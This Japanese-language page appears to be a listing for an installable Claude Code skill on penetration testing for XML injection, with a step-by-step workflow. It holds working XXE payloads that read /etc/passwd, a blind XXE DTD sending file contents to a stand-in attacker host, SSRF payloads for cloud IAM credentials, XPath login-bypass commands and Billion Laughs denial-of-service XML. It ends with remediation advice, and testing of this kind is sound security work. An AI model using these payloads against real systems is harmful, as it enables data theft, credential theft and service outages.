testing-for-xml-injection-vulnerabilities について
XML を扱うサービス、ファイル取り込み、SAML フローを検証するアプリケーションセキュリティ担当者向けの手順です。XXE、ブラインド XXE、XPath インジェクションと関連リスクの確認を扱います。
主な機能
- 01XML 処理エンドポイントの特定
- 02XXE によるファイル取得の検証
- 03帯域外通信によるブラインド XXE の検出
- 04XXE 経由の SSRF の確認
- 05XPath インジェクションとエンティティ展開の検証
活用シーン
- 01SOAP または XML API の評価
- 02SAML 認証フローのテスト
- 03XML ファイル取り込み機能の確認
- 04SVG アップロード時の XML 解析リスク確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-for-xml-injection-vulnerabilitiesインストール後、Claude Code で/testing-for-xml-injection-vulnerabilitiesを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
XML インジェクションの脆弱性テスト
使用する場面
- SOAP API、XML-RPC、ファイルアップロードなど、XML 入力を処理するアプリケーションをテストするとき
- XML パーサーを使用するアプリケーションのペネトレーションテスト中
- SAML ベースの認証実装を評価するとき
- XML 形式を扱うファイルのインポート/エクスポート機能をテストするとき
- SOAP または XML ベースの Web サービスの API セキュリティテスト中
前提条件
- XML 関連の拡張機能(Content Type Converter、XXE Scanner)を備えた Burp Suite
- XMLLint または同等の XML 検証ツール
- XML 構造、DTD、エンティティ処理に関する知識
- lxml および requests ライブラリを備えた Python 3.x
- 帯域外インタラクションサーバー(Burp Collaborator、interact.sh)へのアクセス
- PayloadsAllTheThings リポジトリの XXE ペイロードのサンプル
ワークフロー
ステップ 1 — XML 処理エンドポイントを特定する
# Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl
# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><test>hello</test></root>'
# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processing
ステップ 2 — 基本的な XXE(ファイル取得)をテストする
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>
ステップ 3 — 帯域外検出でブラインド XXE をテストする
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
%xxe;
]>
<root><data>test</data></root>
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>
ステップ 4 — XXE による SSRF をテストする
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>
ステップ 5 — XPath インジェクションをテストする
# Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"
# XPath authentication bypass
curl -X POST http://target.com/login \
-d "username=' or '1'='1&password=' or '1'='1"
# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"
# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"
ステップ 6 — XML Billion Laughs(DoS)をテストする
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>
重要な概念
| 概念 | 説明 |
|---|---|
| XXE(XML 外部エンティティ) | 外部エンティティ参照を処理する XML パーサーを悪用する攻撃 |
| ブラインド XXE | レスポンスに結果が反映されない XXE。帯域外チャネルが必要です |
| XPath インジェクション | XML ドキュメントのナビゲーションに使用される XPath クエリへのインジェクション |
| DTD(ドキュメント型定義) | XML ドキュメントの構造とエンティティを定義する宣言 |
| パラメーターエンティティ | ブラインド XXE の悪用に DTD 内で使用される特殊なエンティティ(%) |
| XXE による SSRF | XXE を使用して、サーバー側から内部リソースへリクエストを送信すること |
| XML ボム | エンティティの再帰的な展開(Billion Laughs)によるサービス拒否 |
ツールとシステム
| ツール | 目的 |
|---|---|
| Burp Suite | 自動検出用の XXE Scanner 拡張機能を備えた HTTP プロキシ |
| XXEinjector | XXE インジェクションとデータ流出を自動化するツール |
| OXML_XXE | Office XML ドキュメントに XXE ペイロードを埋め込むツール |
| xmllint | ペイロードのテストに使用する XML 検証・解析ユーティリティ |
| interact.sh | ブラインド XXE 検出用の帯域外インタラクションサーバー |
| Content Type Converter | XXE テスト用に JSON リクエストを XML に変換する Burp 拡張機能 |
よくあるシナリオ
- ファイルの開示 — XML 入力フィールドへの古典的な XXE エンティティインジェクションを通じて、機密性の高いサーバーファイル(/etc/passwd、web.config)を読み取る
- クラウドメタデータへの SSRF — XXE を通じて AWS/GCP/Azure のメタデータエンドポイントにアクセスし、IAM 認証情報やアクセストークンを盗む
- ブラインドデータ流出 — XXE の出力が反映されない場合に、帯域外 DNS/HTTP チャネルを通じて機密データを抽出する
- SAML XXE — シングルサインオン認証フロー中に SAML アサーションへ XXE ペイロードをインジェクションする
- SVG ファイルアップロード XXE — XXE ペイロードを含む悪意のある SVG ファイルをアップロードし、サーバー側の XML 解析を誘発する
出力形式
## XML Injection Assessment Report
- **Target**: http://target.com/api/xml-endpoint
- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection
- **Severity**: Critical
### Findings
| # | Type | Endpoint | Payload | Impact |
|---|------|----------|---------|--------|
| 1 | XXE File Read | POST /api/import | SYSTEM "file:///etc/passwd" | Local File Disclosure |
| 2 | Blind XXE | POST /api/upload | External DTD with OOB | Data Exfiltration |
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |
### Remediation
- Disable external entity processing in XML parser configuration
- Use JSON instead of XML where possible
- Implement XML schema validation with strict DTD restrictions
- Block outbound connections from XML processing services
コメント
Markdown 対応